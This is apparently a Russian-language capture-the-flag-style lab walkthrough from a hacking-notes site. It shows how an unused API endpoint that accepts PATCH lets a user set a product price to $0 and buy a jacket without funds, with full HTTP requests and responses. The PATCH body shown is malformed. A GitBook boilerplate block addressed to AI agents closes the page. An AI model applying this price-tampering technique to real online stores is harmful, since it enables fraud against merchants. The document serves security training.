> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md).

# Обнаружение и эксплуатация неиспользуемого API endpoint

### Поиск и использование неиспользуемой конечной точки API

Цель этой лабораторной работы — использовать скрытую конечную точку API, чтобы купить **Лёгкая кожаная куртка l33t** без достаточных средств. / Аутентификация выполняется с использованием следующих учетных данных:

* **Пользователь**: wiener
* **Пароль**: peter

После входа в систему баланс счета составляет **$**.

<figure><img src="/files/958f0ded4822c3573b8b8650fa64a6e3a6dbf236" alt=""><figcaption></figcaption></figure>

#### Анализ поведения приложения

При просмотре товара приложение в фоновом режиме отправляет API-запрос, чтобы получить его цену.

<figure><img src="/files/798028271c08090df44a2050a8594dd269429c2d" alt=""><figcaption></figcaption></figure>

**Запрос, используемый для отображения цены**

```bash
GET /api/products/1/price
```

**Ответ сервера**

{% code overflow="wrap" %}

```json
{
    "price":"$1337.00",
    "message":"&#x1F525; Осталось 21 шт. на складе, покупайте быстрее! &#x1F525;"
}
```

{% endcode %}

<figure><img src="/files/8d6b77a67e7ca0a114a60272c864db0fa9bac5b5" alt=""><figcaption></figcaption></figure>

#### Определение доступных HTTP-методов

Один **OPTIONS** запрос отправляется для определения разрешённых методов для этой конечной точки.

**OPTIONS-запрос**

```bash
OPTIONS /api/products/1/price
```

**Ответ**

Сервер указывает, что разрешены следующие методы:

* GET
* PATCH

<figure><img src="/files/33f55add0a3340e116c8a8de3b124391f995331e" alt=""><figcaption></figcaption></figure>

Это предполагает, что можно **изменить** изменить цену товара с помощью PATCH-запроса.

#### Изменение цены через PATCH

Затем мы пытаемся обновить цену товара, отправив PATCH-запрос с JSON-телом.

**PATCH-запрос**

```http
PATCH /api/products/1/price
Host: 0abf000d04bd41568210d495001c000a.web-security-academy.net
Cookie: session=Ts7jyHfXOEyXqURmpAKf0SgO8DjhQYol

Content-Type: application/json
Content-Length: 22

{
	"price": "0
}
```

**Ответ сервера**

```http
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 17

{
    "price":"$0.00"
}
```

<figure><img src="/files/ced47fba6046fe2dc8ba8ac8671384d82b50d70e" alt=""><figcaption></figcaption></figure>

Цена товара теперь установлена на **$**.

<figure><img src="/files/21ca1ee039e49b815c9d3a20d593f3f75c208cc1" alt=""><figcaption></figcaption></figure>

#### Покупка товара

После изменения цены можно купить **Лёгкая кожаная куртка l33t** несмотря на отсутствие средств на счёте, что позволяет засчитать лабораторную работу как выполненную.

<figure><img src="/files/fe53f5ed2bf4ef9a8a23c226a8b63536abc61b08" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
